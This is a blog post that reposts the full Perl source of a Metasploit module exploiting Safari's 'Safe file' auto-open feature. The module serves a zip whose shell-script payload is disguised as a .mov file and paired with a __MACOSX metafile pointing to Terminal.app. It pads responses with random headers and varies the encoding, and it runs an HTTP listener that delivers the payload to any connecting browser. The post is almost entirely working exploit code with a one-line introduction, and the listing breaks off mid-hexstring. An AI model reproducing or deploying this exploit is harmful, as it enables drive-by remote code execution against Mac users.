up home page bottom

Add a comment

French German version Spanish version Italian version

Apple Mac OS X / Safari “__MACOSX” ZIP archive Remote Code Execution Exploit

10 Jan, 2008  Exploitative, Geeks, Security  

1 Star5 Stars (No Ratings Yet)
Loading ... Loading ...

This is an interesting and apparently "critical" live exploit for remote code execution through Safari. Below is the Metasploit file.

Exploit code just after the break.

PLAIN TEXT
C:
  1. #
  2. # This file is part of the Metasploit Framework and may be redistributed
  3. # according to the licenses defined in the Authors field below. In the
  4. # case of an unknown or missing license, this file defaults to the same
  5. # license as the core Framework (dual GPLv2 and Artistic). The latest
  6. # version of the Framework can always be obtained from metasploit.com.
  7. ##
  8.  
  9. package Msf::Exploit::safari_safefiles_exec;
  10.  
  11. use strict;
  12. use base "Msf::Exploit";
  13. use Pex::Text;
  14. use IO::Socket::INET;
  15. use IPC::Open3;
  16. use FindBin qw{$RealBin};
  17.  
  18. my $advanced =
  19. {
  20. 'Gzip' => [1, 'Enable gzip content encoding'],
  21. 'Chunked' => [1, 'Enable chunked transfer encoding'],
  22. };
  23.  
  24. my $info =
  25. {
  26. 'Name' => 'Safari Archive Metadata Command Execution',
  27. 'Version' => '$Revision: 1.3 $',
  28. 'Authors' =>
  29. [
  30. 'H D Moore <hdm>
  31. ],</hdm>
  33. 'Description' =&gt;
  34. Pex::Text::Freeform(qq{
  35. This module exploits a vulnerability in Safari's "Safe file"
  36. feature, which will
  37. automatically open any file with one of the allowed extensions. This can
  38. be abused
  39. by supplying a zip file, containing a shell script, with a metafile
  40. indicating
  41. that the file should be opened by Terminal.app. This module depends on
  42. the 'zip' command-line utility.
  43. }),
  44.  
  45. 'Arch' =&gt; [ ],
  46. 'OS' =&gt; [ ],
  47. 'Priv' =&gt; 0,
  48.  
  49. 'UserOpts' =&gt;
  50. {
  51. 'HTTPPORT' =&gt; [ 1, 'PORT', 'The local HTTP listener port', 8080 ],
  52. 'HTTPHOST' =&gt; [ 0, 'HOST', 'The local HTTP listener host',
  53. "0.0.0.0" ],
  54. 'REALHOST' =&gt; [ 0, 'HOST', 'External address to use for redirects
  55. (NAT)' ],
  56. },
  57.  
  58. 'Payload' =&gt;
  59. {
  60. 'Space' =&gt; 8000,
  61. 'MinNops' =&gt; 0,
  62. 'MaxNops' =&gt; 0,
  63. 'Keys' =&gt; ['cmd', 'cmd_bash'],
  64. },
  65. 'Refs' =&gt;
  66. [
  67. ['URL', 'http://www.heise.de/english/newsticker/news/69862'],
  68. ['BID', '16736'],
  69. ],
  70.  
  71. 'DefaultTarget' =&gt; 0,
  72. 'Targets' =&gt;
  73. [
  74. [ 'Automatic' ]
  75. ],
  76.  
  77. 'Keys' =&gt; [ 'safari' ],
  78.  
  79. 'DisclosureDate' =&gt; 'Feb 21 2006',
  80. };
  81.  
  82. sub new {
  83. my $class = shift;
  84. my $self = $class-&gt;SUPER::new({'Info' =&gt; $info, 'Advanced' =&gt;
  85. $advanced}, @_);
  86. return($self);
  87. }
  88.  
  89. sub Exploit
  90. {
  91. my $self = shift;
  92. my $server = IO::Socket::INET-&gt;new(
  93. LocalHost =&gt; $self-&gt;GetVar('HTTPHOST'),
  94. LocalPort =&gt; $self-&gt;GetVar('HTTPPORT'),
  95. ReuseAddr =&gt; 1,
  96. Listen =&gt; 1,
  97. Proto =&gt; 'tcp'
  98. );
  99. my $client;
  100.  
  101. # Did the listener create fail?
  102. if (not defined($server)) {
  103. $self-&gt;PrintLine("[-] Failed to create local HTTP listener on
  104. " . $self-&gt;GetVar('HTTPPORT'));
  105. return;
  106. }
  107.  
  108. my $httphost = $self-&gt;GetVar('HTTPHOST');
  109. $httphost = Pex::Utils::SourceIP('1.2.3.4') if $httphost eq '0.0.0.0';
  110.  
  111. $self-&gt;PrintLine("[*] Waiting for connections to http://".
  112. $httphost .":". $self-&gt;GetVar('HTTPPORT') ."/");
  113.  
  114. while (defined($client = $server-&gt;accept())) {
  115. $self-&gt;HandleHttpClient(Msf::Socket::Tcp-&gt;new_from_socket($client));
  116. }
  117.  
  118. return;
  119. }
  120.  
  121. sub HandleHttpClient
  122. {
  123. my $self = shift;
  124. my $fd = shift;
  125.  
  126. # Set the remote host information
  127. my ($rport, $rhost) = ($fd-&gt;PeerPort, $fd-&gt;PeerAddr);
  128.  
  129. # Read the HTTP command
  130. my ($cmd, $url, $proto) = split(/ /, $fd-&gt;RecvLine(10), 3);
  131. my $agent;
  132.  
  133. # Read in the HTTP headers
  134. while ((my $line = $fd-&gt;RecvLine(10))) {
  135.  
  136. $line =~ s/^\s+|\s+$//g;
  137.  
  138. my ($var, $val) = split(/\:/, $line, 2);
  139.  
  140. # Break out if we reach the end of the headers
  141. last if (not defined($var) or not defined($val));
  142.  
  143. $agent = $val if $var =~ /User-Agent/i;
  144. }
  145.  
  146. my $target = $self-&gt;Targets-&gt;[$self-&gt;GetVar('TARGET')];
  147. my $shellcode = $self-&gt;GetVar('EncodedPayload')-&gt;RawPayload;
  148. my $content = $self-&gt;CreateZip($shellcode) || return;
  149.  
  150. $self-&gt;PrintLine("[*] HTTP Client connected from $rhost:$rport,
  151. sending ".length($shellcode)."
  152. bytes of payload...");
  153.  
  154. $fd-&gt;Send($self-&gt;BuildResponse($content));
  155.  
  156. select(undef, undef, undef, 0.1);
  157.  
  158. $fd-&gt;Close();
  159. }
  160.  
  161. sub RandomHeaders {
  162. my $self = shift;
  163. my $head = '';
  164.  
  165. while (length($head) &lt;3072) {
  166. $head .= "X-" .
  167. Pex::Text::AlphaNumText(int(rand(30) + 5)) . ': ' .
  168. Pex::Text::AlphaNumText(int(rand(256) + 5)) ."\r\n";
  169. }
  170. return $head;
  171. }
  172.  
  173. sub BuildResponse {
  174. my ($self, $content) = @_;
  175.  
  176. my $response =
  177. "HTTP/1.1 200 OK\r\n" .
  178. $self-&gt;RandomHeaders() .
  179. "Content-Type: application/zip\r\n";
  180.  
  181. if ($self-&gt;GetVar('Gzip')) {
  182. $response .= "Content-Encoding: gzip\r\n";
  183. $content = $self-&gt;Gzip($content);
  184. }
  185. if ($self-&gt;GetVar('Chunked')) {
  186. $response .= "Transfer-Encoding: chunked\r\n";
  187. $content = $self-&gt;Chunk($content);
  188. } else {
  189. $response .= 'Content-Length: ' . length($content) . "\r\n" .
  190. "Connection: close\r\n";
  191. }
  192.  
  193. $response .= "\r\n" . $content;
  194.  
  195. return $response;
  196. }
  197.  
  198. sub Chunk {
  199. my ($self, $content) = @_;
  200.  
  201. my $chunked;
  202. while (length($content)) {
  203. my $chunk = substr($content, 0, int(rand(10) + 1), '');
  204. $chunked .= sprintf('%x', length($chunk)) . "\r\n$chunk\r\n";
  205. }
  206. $chunked .= "0\r\n\r\n";
  207.  
  208. return $chunked;
  209. }
  210.  
  211. sub Gzip {
  212. my $self = shift;
  213. my $data = shift;
  214. my $comp = int(rand(5))+5;
  215.  
  216. my($wtr, $rdr, $err);
  217.  
  218. my $pid = open3($wtr, $rdr, $err, 'gzip', '-'.$comp, '-c', '--force');
  219. print $wtr $data;
  220. close ($wtr);
  221. local $/;
  222.  
  223. return (&lt;$rdr&gt;);
  224. }
  225.  
  226. # Lame!
  227. sub CreateZip {
  228. my $self = shift;
  229. my $cmds = shift;
  230.  
  231. my $data = $cmds."\n";
  232. my $name = Pex::Text::AlphaNumText(int(rand(10)+4)).".mov";
  233. my $temp = ($ENV{'HOME'} || $RealBin || "/tmp") .
  234. "/msf_safari_temp_".Pex::Text::AlphaNumText(16);
  235.  
  236. if ($self-&gt;GotZip != 0) {
  237. $self-&gt;PrintLine("[*] Could not execute the zip command (or zip
  238. returned an error)");
  239. return;
  240. }
  241.  
  242. if (! mkdir($temp,0755)) {
  243. $self-&gt;PrintLine("[*] Could not create a temporary directory:
  244. $!");
  245. return;
  246. }
  247.  
  248. if (! chdir($temp)) {
  249. $self-&gt;PrintLine("[*] Could not change into temporary directory:
  250. $!");
  251. $self-&gt;Nuke($temp);
  252. return;
  253. }
  254.  
  255. if (! mkdir("$temp/__MACOSX",0755)) {
  256. $self-&gt;PrintLine("[*] Could not create the MACOSX temporary
  257. directory: $!");
  258. return $self-&gt;Nuke($temp);
  259. return;
  260. }
  261.  
  262. if (! open(TMP, "&gt;$temp/$name")) {
  263. $self-&gt;PrintLine("[*] Could not create the shell script:
  264. $!");
  265. $self-&gt;Nuke($temp);
  266. return;
  267. }
  268.  
  269. print TMP $data;
  270. close(TMP);
  271.  
  272. # This is important :)
  273. chmod(0755, "$temp/$name");
  274.  
  275. if (! open(TMP, "&gt;$temp/__MACOSX/._".$name)) {
  276. $self-&gt;PrintLine("[*] Could not create the metafile: $!");
  277. $self-&gt;Nuke($temp);
  278. return;
  279. }
  280.  
  281. print TMP $self-&gt;OSXMetaFile;
  282. close(TMP);
  283.  
  284. system("zip", "exploit.zip", $name,
  285. "__MACOSX/._".$name);
  286.  
  287. if( ! open(TMP, "&lt;"."exploit.zip")) {
  288. $self-&gt;PrintLine("[*] Failed to create exploit.zip (weird zip
  289. command?)");
  290. $self-&gt;Nuke($temp);
  291. return;
  292. }
  293.  
  294. my $xzip;
  295. while (<tmp>) { $xzip .= $_ }
  296. close (TMP);</tmp>
  297.  
  298. $self-&gt;Nuke($temp);
  299. return $xzip;
  300. }
  301.  
  302. sub Nuke {
  303. my $self = shift;
  304. my $temp = shift;
  305. system("rm", "-rf", $temp);
  306. return;
  307. }
  308.  
  309. sub GotZip {
  310. return system("zip -h&gt;/dev/null 2&gt;&amp;1");
  311. }
  312.  
  313. sub OSXMetaFile {
  314. return
  315. "\x00\x05\x16\x07\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
  316. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x09\x00\x00".
  317. "\x00\x32\x00\x00\x00\x20\x00\x00\x00\x02\x00\x00\x00\x52\x00\x00".
  318. "\x05\x3a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
  319. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
  320. "\x00\x00\x00\x00\x01\x00\x00\x00\x05\x08\x00\x00\x04\x08\x00\x00".
  321. "\x00\x32\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
  322. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
  323. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
  324. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
  325. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
  326. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
  327. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
  328. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
  329. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
  330. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
  331. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
  332. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
  333. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
  334. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
  335. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
  336. "\x00\x00\x00\x00\x04\x04\x00\x00\x00\x25\x2f\x41\x70\x70\x6c\x69".
  337. "\x63\x61\x74\x69\x6f\x6e\x73\x2f\x55\x74\x69\x6c\x69\x74\x69\x65".
  338. "\x73\x2f\x54\x65\x72\x6d\x69\x6e\x61\x6c\x2e\x61\x70\x70\x00\xec".
  339. "\xec\xec\xff\xec\xec\xec\xff\xec\xec\xec\xff\xec\xec\xec\xff\xec".
  340. "\xec\xec\xff\xec\xec\xec\xff\xe1\xe1\xe1\xff\xe1\xe1\xe1\xff\xe1".
  341. "\xe1\xe1\xff\xe1\xe1\xe1\xff\xe1\xe1\xe1\xff\xe1\xe1\xe1\xff\xe1".